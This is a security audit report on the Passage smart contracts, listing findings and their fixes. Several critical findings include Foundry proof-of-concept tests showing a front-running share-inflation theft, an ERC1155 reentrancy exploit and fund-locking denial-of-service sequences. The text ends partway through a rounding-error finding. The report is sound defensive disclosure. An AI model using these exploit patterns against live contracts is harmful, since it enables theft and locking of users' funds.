Prepared by:
HALBORN
Last Updated 04/25/2024
Date of Engagement by: March 20th, 2023 - April 15th, 2023
100% of all REPORTED Findings have been addressed
All findings
19
Critical
6
High
0
Medium
2
Low
1
Informational
10
Passage is a decentralized application that allows users to invest in favor or against volatility in an asset with an order book-based model. Users can bet whether the price of an asset stays in a pre-defined range or goes out of it in a pre-defined time span.
\client engaged Halborn
to conduct a security audit on their smart contracts beginning on 2023-03-20 and ending on 2023-04-15. The security assessment was scoped to the new Passage product from Bracket.fi.
Commit hashes and further details can be found in the Scope section of this report.
The team at Halborn was provided 3 weeks for the engagement and assigned 1 full-time security engineer to audit the security of the smart contracts in scope. The audit took a total of 4 weeks, with a one-week pause in the middle of the audit.
The security engineer in charge of the audit is a blockchain and smart contract security expert with advanced penetration testing and smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the audits is to:
Identify potential security issues within the smart contracts.
Ensure that smart contract functionality operates as inteded.
In summary, Halborn identified some improvements to reduce the likelihood and impact of multiple risks, which have been successfully addressed by Bracket.fi. The main ones are the following:
Modify the liquidity pool lp token calculation formula to prevent an attacker from stealing other users' funds.
Include the nonReentrant
modifier or modify the deposit
function logic to prevent a possible reentrancy attack when minting ERC1155 lp tokens.
Ensure pointer, counter and amount of variables are properly tracked to prevent funds from being locked.
Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the audit:
Research into architecture and purpose
Smart contract manual code review and walkthrough
Graphing out functionality and contract logic/connectivity/functions (solgraph
)
Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes
Manual testing by custom scripts
Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (MythX
)
Static Analysis of security for scoped contract, and imported functions. (Slither
)
Testnet deployment (Brownie
, Remix IDE
, Foundry
)
Code repositories:
Passage
Repository: bracketx-halborn
Commit ID: c66e52967d9ac4b7d54fde581924093c2ca62902
Smart contracts in scope:
Passage.sol (src/Passage.sol
)
PassageLib.sol (src/PassageLib.sol
)
BPLP.sol (src/BPLP.sol
)
BPLPLib.sol (src/BPLPLib.sol
)
BktMath.sol (src/BktMath.sol
)
PNFT.sol (src/BktMath.sol
)
Fixes Commit IDs:
Passage.sol (src/Passage.sol
)
PassageLib.sol (src/PassageLib.sol
)
BPLP.sol (src/BPLP.sol
)
BPLPLib.sol (src/BPLPLib.sol
)
BktMath.sol (src/BktMath.sol
)
PNFT.sol (src/BktMath.sol
)
Out-of-scope:
Third-party libraries and dependencies
Economic attacks
EXPLOITABILIY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
6
High
0
Medium
2
Low
1
Informational
10
Security analysis | Risk level | Remediation Date |
---|---|---|
ALL THE FUNDS FROM THE VAULTS CAN BE STOLEN BY FRONT-RUNNING DEPOSIT FUNCTION | Critical | Solved - 04/16/2023 |
RE-ENTRANCY WHEN MINTING LP TOKENS CAN LEAD TO STEALING VAULT FUNDS | Critical | Solved - 04/16/2023 |
CANCELLING THE INVESTMENT IN THE POINTER CAN LOCK THE FUNDS FROM OTHER USERS | Critical | Solved - 03/28/2023 |
MATCHING AN ORDER WITH NO NEXT NODE IN THE LINKEDLIST CAN CAUSE A DENIAL OF SERVICE OF THE CONTRACT | Critical | Solved - 04/02/2023 |
PERFECTLY MATCHING AN ORDER AND THEN CANCELING CAN LEAD TO THE POINTER BEING 0 WITH REMAINING ORDERS | Critical | Solved - 03/30/2023 |
PARTIAL MATCH CAN LEAD TO UNDERFLOW LOCKING USER FUNDS | Critical | Solved - 04/02/2023 |
SLIPPAGE LIMITS ARE NOT ENFORCED ON-CHAIN | Medium | Solved - 04/17/2023 |
ORDERS CAN BE CANCELLED WHILE CONTRACT IS PAUSED | Medium | Solved - 03/30/2023 |
ROUNDING ERROR IN COMMISSION CALCULATION | Low | Solved - 05/29/2023 |
ADMIN CAN CAUSE A DENIAL OF SERVICE WITH THE CLAIM FUNCTION | Informational | Solved - 05/29/2023 |
PRICE LIMIT IS NOT ENFORCED IN THE SETPRICE FUNCTION | Informational | Solved - 05/29/2023 |
ADMIN CAN PERFORM RE-ENTRANCY IN THE CLAIM FUNCTION | Informational | Solved - 05/29/2023 |
ONLY THE ADMINISTRATOR CAN CLAIM THE POLICIES | Informational | Solved - 05/29/2023 |
MISSING NON-REENTRANT MODIFIER | Informational | Solved - 05/29/2023 |
INVARIANT IS BROKEN WHEN THE LAST ORDER IS A PERFECT MATCH | Informational | Solved - 05/29/2023 |
UNUSED ARGUMENTS | Informational | Solved - 05/29/2023 |
TEST FUNCTIONS PRESENT IN THE CODE | Informational | Solved - 05/29/2023 |
USE OF STRINGS INSTEAD OF CUSTOM ERRORS | Informational | Solved - 05/29/2023 |
DATA TYPES CAN BE TIGHTLY PACKED TO SAVE STORAGE COST | Informational | Solved - 05/29/2023 |
// Critical
The BPLP
is meant to act as a liquidity pool for automatic trading in the Passage
contract. This contract frequently creates vaults which are open for some time while users lock their funds, once reached the specified time, the vault is closed and the funds are used to trade, and a new vault will be created.
After the policies the BPLP
invested on are claimed, the users that placed ether in the vault can withdraw the earnings, which is equally distributed among the users based on the amount of shares they have.
The users can lock money in a vault by calling the deposit()
function, specifying the vault id. Shares are minted according to the following logic:
function _deposit(address investor, address asset, uint256 amtETH) internal {
uint256 vid = latestVid[asset];
require( Vaults[vid].closeTime >= block.timestamp, "CLOSED");
require( amtETH > 0, "ZAMT");
uint256 ethPrice = IPricing(pricing).getLatestPrice(nativeAddr);
uint256 supplyLPToken = totalSupply(vid);
uint256 balanceToken = Vaults[vid].amtETH;
uint256 amountLPToken;
if (supplyLPToken == 0) {
amountLPToken = amtETH;
} else {
amountLPToken = amtETH.mul(supplyLPToken).div(balanceToken);
}
_mint(investor, vid, amountLPToken, abi.encodePacked(amountLPToken));
Vaults[vid].amtETH = Vaults[vid].amtETH.add(amtETH);
emit Deposit(investor, amountLPToken, amtETH, vid, ethPrice);
}
If there are no shares minted yet, the shares are minted on a 1-to-1 ratio. Otherwise, the amount of ether sent is multiplied by the total supply of minted tokens for the given vault ID and divided by the amount of ether placed into the pool.
Moreover, the credit()
function allows to manually send ether to a specific vault ID, which is used to pay for the BPLP
by the Passage
contract and to send arbitrary credits such as fee splits.
function credit(uint256 vaultId) external payable {
require(vaultId != 0 && Vaults[vaultId].expireTime != 0, "INVAL");
require( msg.value != 0, "NOVAL");
Vaults[vaultId].amtETH = Vaults[vaultId].amtETH.add(msg.value);
emit CreditEv(vaultId, msg.value);
}
However, because the share’s amount is calculated by dividing by the amount of ether, it would be possible for an attacker to deposit 1 wei as soon as a vault opens, leaving him with 1 share of the vault, and then monitor the mempool to front-run transactions to the deposit
function.
An attacker monitoring the amount of ether being sent with the deposit()
function can front-run it by calling credit()
with the same amount, when the legitimate transaction gets validated the amount the front-runned user sent would be multiplied by the 1 share the attacker has and divided by the amount of ether, which would be 1 wei superior.
This would lead to the divisor being greater than the dividend, therefore returning 0. In this case, the ether sent by the legitimate user would be locked in the vault in exchange for 0 shares. As there is only 1 share that belongs to the attacker would be able to steal all the ether deposited into the vaults.
function testPOCFrontrun() public {
vm.deal(ALICE, 20 ether + 1);
vm.deal(BOB, 20 ether);
pool.openVault(block.timestamp + 1 days, block.timestamp + 15 days, BTC_USD);
console2.log(StdStyle.cyan("Bob decides to deposit 20 ether for BTC_USD on Vault 1."));
vm.startPrank(ALICE);
{
console2.log(StdStyle.yellow("Alice frontruns the transaction and deposits 1 wei for BTC_USD on Vault 1."));
pool.deposit{value: 1}(BTC_USD);
console2.log(StdStyle.yellow("Alice shares balance:"), pool.balanceOf(ALICE, 1));
console2.log(StdStyle.yellow("Alice sends 21 ether to the Vault 1 through the credit() function."));
pool.credit{value: 20 ether}(1);
BPLPlib.Vault memory vault = pool.getVault(1);
console2.log(StdStyle.yellow("Vault's amtETH:"), vault.amtETH);
}
vm.stopPrank();
console2.log(StdStyle.cyan("Bob deposits 20 ether for BTC_USD on Vault 1."));
vm.prank(BOB);
pool.deposit{value: 20 ether}(BTC_USD);
console2.log(StdStyle.red("Bob lpToken balance: "), pool.balanceOf(BOB, 1));
skip(1 days);
console2.log(StdStyle.cyan("Orders are placed."));
easyLPOrder(21 ether, BTC_USD, true, 1);
easyPassageOrder(22 ether, BTC_USD, false);
console2.log(StdStyle.cyan("Orders are matched."));
passage.autoMatch(BTC_USD);
console2.log(StdStyle.cyan("Skipping 15 days."));
skip(15 days);
console2.log(StdStyle.cyan("Claiming Policy, "));
passage.claim(1);
console2.log(StdStyle.cyan("Claims are payed."));
pool.pay(1, 1);
pool.pay(1, 2);
pool.withdraw(1, ALICE);
console2.log(StdStyle.red("Alice balance:"), ALICE.balance / 1e18);
pool.withdraw(1, BOB);
console2.log(StdStyle.red("Bob balance:"), BOB.balance / 1e18);
}
SOLVED: The \client team fixed the issue by preventing users to call the credit()
function until the vault is closed in commit 78f58a33.
// Critical
The BPLP
contract uses ERC1155 tokens to be able to keep track of tokens based on the vault id. However, because ERC1155 tokens call the onERC1155Received
on the destination address after being minted, they are prone to re-entrancy vulnerabilities.
Moreover, the deposit function increases the amtETH
variable used as a divisor in the token amount of calculation formula is updated after minting the token. This means that, in the case of a re-entrancy this variable is not increased on each run. Therefore, if an attacker performs a re-entrancy attack, as the divisor is lower than what it should be, in the reentrant calls they can mint extra shares, which can in return lead to stealing the funds from other users once the policies are claimed and withdrawn.
function _deposit(address investor, address asset, uint256 amtETH) internal {
uint256 vid = latestVid[asset];
require( Vaults[vid].closeTime >= block.timestamp, "CLOSED");
require( amtETH > 0, "ZAMT");
uint256 ethPrice = IPricing(pricing).getLatestPrice(nativeAddr);
uint256 supplyLPToken = totalSupply(vid);
uint256 balanceToken = Vaults[vid].amtETH;
uint256 amountLPToken;
if (supplyLPToken == 0) {
amountLPToken = amtETH;
} else {
amountLPToken = amtETH.mul(supplyLPToken).div(balanceToken);
}
_mint(investor, vid, amountLPToken, abi.encodePacked(amountLPToken));
Vaults[vid].amtETH = Vaults[vid].amtETH.add(amtETH);
emit Deposit(investor, amountLPToken, amtETH, vid, ethPrice);
}
function testMintLPReentrancy() public {
vm.deal(ALICE, 10 ether);
vm.deal(BOB, 10 ether);
pool.openVault(block.timestamp + 1 days, block.timestamp + 15 days, BTC_USD);
console2.log(StdStyle.cyan("Alice decides to deposit 10 ether for BTC_USD on Vault 1."));
vm.prank(ALICE);
pool.deposit{value: 10 ether}(BTC_USD);
console2.log(StdStyle.green("Alice shares balance:"), pool.balanceOf(ALICE, 1));
console2.log(StdStyle.yellow("Now Bob exploits a reentrancy attack with a total of 20 0.5 ether reentrant calls."));
console2.log(StdStyle.red("Performing first call to deposit."));
pool.deposit{value: 0.5 ether}(BTC_USD);
console2.log(StdStyle.green("Bob shares balance:"), pool.balanceOf(address(this), 1));
skip(1 days);
console2.log(StdStyle.cyan("Orders are placed."));
easyLPOrder(20 ether, BTC_USD, true, 1);
easyPassageOrder(21 ether, BTC_USD, false);
console2.log(StdStyle.cyan("Orders are matched."));
passage.autoMatch(BTC_USD);
console2.log(StdStyle.cyan("Skipping 15 days."));
skip(15 days);
console2.log(StdStyle.cyan("Claiming Policy, "));
passage.claim(1);
console2.log(StdStyle.cyan("Claims are payed."));
pool.pay(1, 1);
pool.pay(1, 2);
pool.withdraw(1, address(this));
pool.withdraw(1, ALICE);
console2.log(StdStyle.red("Alice balance:"), ALICE.balance);
console2.log(StdStyle.red("Bob balance:"), (40 ether - ALICE.balance));
}
uint256 private reentrantCounter = 2;
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes memory
) public returns (bytes4) {
if(reentrantCounter <= 20) {
console2.log(StdStyle.red("Performing reentrant call to deposit: "), reentrantCounter);
++reentrantCounter;
pool.deposit{value: 0.5 ether}(BTC_USD);
}
return this.onERC1155Received.selector;
}
SOLVED: The \client team fixed the issue by adding the nonReentrant
modifier to the deposit()
function in commit 78f58a33.
// Critical
The Passage
contract allows users to create orders through the order()
function and cancel them before they are matched through the cancelInv()
. Once the orders reach a certain threshold, the autoMatch()
function gets called, which converts all these pending orders into policies and creates a passage.
These functions use linked lists through the StructuredLinkedList
library to properly keep track of all the orders and be able to match them through the autoMatch()
. Furthermore, the autoMatch()
function uses the inPtr
and outPtr
state variables, which contain the id of the first non-matched order for both inside and outside orders.
In order for the autoMatch()
function to work properly, it is crucial that these pointers be properly recalculated every time orders are matched or cancelled so that it always points to the id of the first non-matched orders, otherwise the autoMatch()
function does not have the proper id to start iterating over the linked list and cannot successfully match the orders.
In order to recalculate the pointers when an order is cancelled, the cancelInv()
function checks if the pointer points to the order to be cancelled, and if so, the function gets the previous order in the linked list through the getPreviousNode()
method of the StructuredLinkedList
library and set the pointer to the previous order in the list.
else if (inPtr[inv.asset] == nftId) {
// the difficult cases are if it's the head...
if (inv.availETH == inv.sentETH ) {
// was never used so safe to remove. But reset head to prior
// and IMPORTANT, make sure prior has available == 0
(, uint priorPtr) = inList[inv.asset].getPreviousNode(nftId);
inList[inv.asset].remove(nftId);
inPtr[inv.asset] = priorPtr;
if (priorPtr != 0) {
PassageLib.PInvest memory inv2 = PNFT(g.nftAddr).getInvestment( priorPtr );
if (inv2.availETH != 0) {
PNFT(g.nftAddr).reduceAvil( priorPtr, inv2.availETH );
}
}
} else {
// else it was used in which case we just reduce avail to zero
PNFT(g.nftAddr).reduceAvil( nftId, inv.availETH );
}
}
However, because pointers should always point to the first non-matched order, there is no point in getting the previous node as it is an already-matched order, or if this is the first order the pointers get to 0. In this last case, all the remaining orders cannot cancel their investment, as there is a require
in the cancelInv()
function that ensures pointers are never 0. Furthermore, orders cannot be matched as the autoMatch()
function checks that inPtr
and outPtr
variables are not 0 as well-meaning orders cannot be matched either.
require(inPtr[inv.asset] != 0, "ZINP");
require(outPtr[inv.asset] != 0, "ZOUTP");
function testPOC_Pointer0Issue() public {
uint256 assetPrice = pricing.getLatestPrice(BTC_USD);
vm.deal(ALICE, 1 ether);
vm.deal(BOB, 5 ether);
console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside")));
vm.startPrank(ALICE);
{
console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1/100 ether to BTC going outside"));
passage.order{value: 1e15}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
console2.log(StdStyle.cyan("Order ID 2: Alice is betting 1/100 ether to BTC staying inside"));
passage.order{value: 1e15}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
}
vm.stopPrank();
console2.log(StdStyle.cyan(StdStyle.bold("Bob creates more orders for BTC asset")));
vm.startPrank(BOB);
{
console2.log(StdStyle.cyan("Order ID 3: Bob is betting 1 ether to BTC going outside"));
passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
console2.log(StdStyle.cyan("Order ID 4: Bob is betting 1 ether to BTC staying inside"));
passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
console2.log(StdStyle.cyan("Order ID 5: Bob is betting 1 ether to BTC staying inside"));
passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
}
vm.stopPrank();
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));
console2.log(StdStyle.yellow(StdStyle.bold("Alice decides to cancel both orders")));
vm.startPrank(ALICE);
{
console2.log(StdStyle.yellow("Alice is canceling order ID 1 (Outside)."));
passage.cancelInv(1);
console2.log(StdStyle.yellow("Alice is canceling order ID 2 (Inside)"));
passage.cancelInv(2);
}
vm.stopPrank();
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));
console2.log(StdStyle.red(StdStyle.bold("Bob now cannot cancel his orders")));
vm.startPrank(BOB);
{
console2.log(StdStyle.yellow("Bob is canceling order ID 3 (Outside)."));
vm.expectRevert(bytes("ZOUTP"));
passage.cancelInv(3);
console2.log(StdStyle.red("TX Reverts due to ZOUTP!"));
console2.log(StdStyle.yellow("Bob is canceling order ID 4 (Inside)"));
vm.expectRevert(bytes("ZINP"));
passage.cancelInv(4);
console2.log(StdStyle.red("TX Reverts due to ZINP!"));
console2.log(StdStyle.yellow("Bob is canceling order ID 5 (Inside)"));
vm.expectRevert(bytes("ZINP"));
passage.cancelInv(5);
console2.log(StdStyle.red("TX Reverts due to ZINP!"));
}
vm.stopPrank();
}
SOLVED: The \client team fixed the issue by retrieving the next node in the list instead of the previous one in commit ca7bd2b1.
// Critical
The Passage
contract uses the autoMatch()
function to match orders on both sides of the order book. The matchIn()
and matchOut()
functions usually increment the pointer, unless the last matched order is the one at the end of the list.
// if the head has zero available then increment if next node is not zero
if (av == 0) {
( , iPtr) = inList[asset].getNextNode(iPtr);
if (iPtr == 0) {
revert("SECZ"); // this should never happen if so we have a HUGE issue.
}
Moreover, the function initially checks if the order in the head of the list has 0 available ether left to avoid matching an already fully-matched order. Under most circumstances this is a valid condition, however a corner case has been found in which after a match, where the inPtr or outPtr has 0 available ether it is possible to set the next node to 0 available ETH by canceling the node in the pointer, as the cancel function would reduce the availETH
amount of the next node to 0. Under these circumstances, a denial-of-service could be caused, as this is a condition that is meant to never happen.
if (inv.availETH == inv.sentETH) {
// was never used so safe to remove. But reset head to prior
// and IMPORTANT, make sure prior has available == 0
(, uint nextPtr) = outList[inv.asset].getNextNode(nftId);
outList[inv.asset].remove(nftId);
outPtr[inv.asset] = nextPtr;
PassageLib.PInvest memory inv2 = PNFT(g.nftAddr).getInvestment(nextPtr);
if (inv2.availETH != 0) {
PNFT(g.nftAddr).reduceAvil(priorPtr, inv2.availETH);
}
function testPOCSECZ() public {
uint256 assetPrice = pricing.getLatestPrice(BTC_USD);
vm.deal(ALICE, 20 ether);
vm.deal(BOB, 20 ether);
console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside")));
vm.startPrank(ALICE);
{
console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1 ether to BTC going outside"));
passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
console2.log(StdStyle.cyan("Order ID 2: Alice is betting 1 ether to BTC staying inside"));
passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
}
vm.stopPrank();
vm.startPrank(BOB);
{
console2.log(StdStyle.cyan("Order ID 3: Bob is betting 1 ether to BTC going outside"));
passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
console2.log(StdStyle.cyan("Order ID 4: Bob is betting 1 ether to BTC going outside"));
passage.order{value: 1 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7);
}
vm.stopPrank();
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));
console2.log(StdStyle.cyan("Alice is canceling Order ID 1"));
console2.log(StdStyle.cyan("Alice is canceling Order ID 2"));
vm.startPrank(ALICE);
{
passage.cancelInv(1);
passage.cancelInv(2);
}
vm.stopPrank();
console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking outPtr value: ", vm.toString(passage.outPtr(BTC_USD))))));
console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking inPtr value: ", vm.toString(passage.inPtr(BTC_USD))))));
console2.log(StdStyle.cyan("Calling autoMatch function."));
passage.autoMatch(BTC_USD);
}
SOLVED: The \client team fixed the issue by not adding the value of the available ether left in the order when checking if the final match is complete in commit ca7bd2b1.
// Critical
It was discovered that it was possible to set to 0 the inPtr
and outPtr
variables when the last order matched had the exact amount of available ether left to cover the remaining match amount and the last order was cancelled. This is mainly caused because in a perfect match, the pointer is left at the order id instead of 0. Under these circumstances, if the user cancels the following order and then calls autoMatch
again, the pointer is set to 0.
// lastly we increment the two Ptrs if HI was fully used and the next node is not zero.
inPtr[asset] = v.inHiId;
uint256 av = PNFT(g.nftAddr).getInvestment(v.inHiId).availETH;
( , uint256 tPtr) = inList[asset].getNextNode(v.inHiId);
if (av == 0 && tPtr != 0) {
inPtr[asset] = tPtr;
}
outPtr[asset] = v.outHiId;
av = PNFT(g.nftAddr).getInvestment(v.outHiId).availETH;
( , tPtr) = outList[asset].getNextNode(v.outHiId);
if (av == 0 && tPtr != 0) {
outPtr[asset] = tPtr;
}
This would lead to the users on that side of the channel and that asset to have their funds locked, as the main functions such as autoMatch()
and cancelInv()
have a require statement to enforce that orders cannot be matched or claimed while pointer is 0.
function testPOCOUTZ() public {
uint256 assetPrice = pricing.getLatestPrice(BTC_USD);
vm.deal(ALICE, 20 ether);
vm.deal(BOB, 20 ether);
console2.log(StdStyle.cyan(StdStyle.bold("Alice creates an order for BTC asset for both inside and outside.")));
vm.startPrank(ALICE);
{
console2.log(StdStyle.cyan("Order ID 1: Alice is betting 1 ether to BTC going outside."));
passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
console2.log(StdStyle.cyan("Order ID 2: Alice is betting 2 ether to BTC going outside."));
passage.order{value: 2 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
}
vm.stopPrank();
console2.log(StdStyle.cyan("Order ID 3: Bob is betting 3 ether to BTC staying inside."));
vm.prank(BOB);
passage.order{value: 3 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
console2.log(StdStyle.cyan("Matching orders for BTC."));
passage.autoMatch(BTC_USD);
console2.log(StdStyle.red("outPtr: "), passage.outPtr(BTC_USD));
console2.log(StdStyle.cyan("Order ID 4: Alice is betting 1 ether to BTC going outside."));
passage.order{value: 1 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
console2.log(StdStyle.cyan("Alice is canceling order 4."));
passage.cancelInv(4);
console2.log(StdStyle.cyan("Order ID 5: Bob is betting 3 ether to BTC staying inside."));
vm.prank(BOB);
passage.order{value: 3 ether}(BTC_USD, true, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
console2.log(StdStyle.cyan("Order ID 6: Bob is betting 1 ether to BTC going outside."));
vm.prank(BOB);
passage.order{value: 3 ether}(BTC_USD, false, 1e17, assetPrice+100, assetPrice-100, 3600*24*7, 0);
console2.log(StdStyle.cyan("Matching orders for BTC."));
passage.autoMatch(BTC_USD);
console2.log(StdStyle.red("outPtr: "), passage.outPtr(BTC_USD));
}
SOLVED: The \client team fixed the issue in commit 70ddfa16 by modifying the pointer logic.
// Critical
When matching an order through the matchIn()
and matchOut()
the v.inCnt
or v.outCnt
variables are meant to be the number of fully matched orders to reduce the counters with. However, these variables are being increased even when there is a partial match, meaning all, not ether has been matched and the order will still have some ether left to be matched in a future claim.
This should not reduce the global counter variables as the order still has some ether left to be matched as although the order has been matched into a claim it will stay in the order book for future claims until all the ether has been matched and placed into claims.
v.inAccum = v.inAccum.add(v.inHiETH);
v.inCommish = v.inCommish.add(v.inHiETH.multFactor(commRate));
// do NOT increment inCnt unless the final match is complete
if (v.inAccum == amt) {
unchecked {++v.inCnt;}
}
break;
This means that when this happens, the counter is always one value below what it should be, and all the functions that reduce the counter such as autoMatch()
and cancelInv()
underflows once the counter reaches 0 and do not allow the users to cancel the investment leading to fund locks. Furthermore, no one can ever match orders again as the match functions constantly try to reduce the counter below 0, leading to a denial of service of the main contract's functionality.
function testPOCUnderflow1() public {
vm.deal(ALICE, 20 ether);
vm.deal(BOB, 20 ether);
vm.startPrank(ALICE);
{
console2.log(StdStyle.cyan(StdStyle.bold("Alice bets 3 ether for BTC to go outside on order ID 1.")));
passage.order{value: 3 ether}(BTC_USD, false, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // out
console2.log(StdStyle.cyan(StdStyle.bold("Alice bets another 2 ether for BTC to go outside on order ID 2.")));
passage.order{value: 2 ether}(BTC_USD, false, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // out
}
changePrank(BOB);
{
console2.log(StdStyle.cyan(StdStyle.bold("Bob bets 4 ether for BTC to stay inside on order ID 3.")));
passage.order{value: 4 ether}(BTC_USD, true, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); // in
}
vm.stopPrank();
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
console2.log(StdStyle.green(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));
console2.log(StdStyle.cyan(StdStyle.bold("Calling autoMatch function.")));
passage.autoMatch(BTC_USD);
console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
console2.log(StdStyle.yellow(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));
console2.log(StdStyle.cyan(StdStyle.bold("Bob now decides to bet another 1 ether for BTC to stay inside on order ID 4.")));
vm.prank(BOB);
passage.order{value: 1 ether}(BTC_USD, true, 1e17, 2e22+100, 2e22-100, 3600*24*7, 0); //in
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outAmt value: ", vm.toString(passage.outAmt(BTC_USD))))));
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inAmt value: ", vm.toString(passage.inAmt(BTC_USD))))));
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking outCnt value: ", vm.toString(passage.outCnt(BTC_USD))))));
console2.log(StdStyle.red(StdStyle.bold(string.concat("Checking inCnt value: ", vm.toString(passage.inCnt(BTC_USD))))));
console2.log(StdStyle.cyan(StdStyle.bold("Calling autoMatch function.")));
passage.autoMatch(BTC_USD);
}
SOLVED: The \client team fixed the issue by also checking that v.inHiETH
is equal to the available ether before increasing the counter in the match functions in commit 05907076.
// Medium
When an order is placed in the Passage
contract, the user has to specify some slippage limits such as:
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) whenNotPaused() nonReentrant() public override {
require( tokenId != 0 && Invests[tokenId].safeToTrans == true, "EARLY");
super.safeTransferFrom(from, to, tokenId, data);
}
However, this is not enforced anywhere in the code, as the match functions are trying to avoid looping through all the investments to decrease gas usage. Bracket.fi team plans on having a keeper constantly monitoring and canceling functions in the order book when they go out of the specified ranges by the user. However, this could be a problem because:
SOLVED: The \client team fixed the issue by adding a hold order functionality that allows to hold an order until the slippage limits are met in commit 3478967b.
// Medium
The cancelInv()
function is missing the whenNotPaused()
modifier, this means that orders can be cancelled while the contract is paused, which goes against the purpose of pausable contracts of minimizing impact in the case of an incident.
function cancelInv( uint256 nftId) public {
SOLVED: The \client team fixed the issue by adding the whenNotPaused()
modifier to the cancelInv()
function in commit 87eda80a.
// Low
As the matchIn()
and matchOut()
functions do not loop the orders to calculate the amounts in order to save gas there is a small rounding error in the calculated commission amounts in the claim()
function.
if (g.TIMEBASED) {
uint256 claimTime = p1.exprTime.min(block.timestamp);
v.frac = MathUpgradeable.mulDiv((claimTime - p2.startTime), uint256(1e18), (p1.exprTime - p2.startTime));
v.frac = v.frac.min(uint256(1e18));
v.inBal = v.amt2x.multFactor(v.frac);
v.outBal = v.amt2x.sub(v.inBal);
} else {
if (v.assPrice >= p2.startPrice) {
v.frac = (v.assPrice - p2.startPrice);
} else {
v.frac = (p2.startPrice - v.assPrice);
}
v.frac = MathUpgradeable.mulDiv(v.frac, uint256(1e18), v.spread2x);
v.frac = v.frac.min(uint256(1e18));
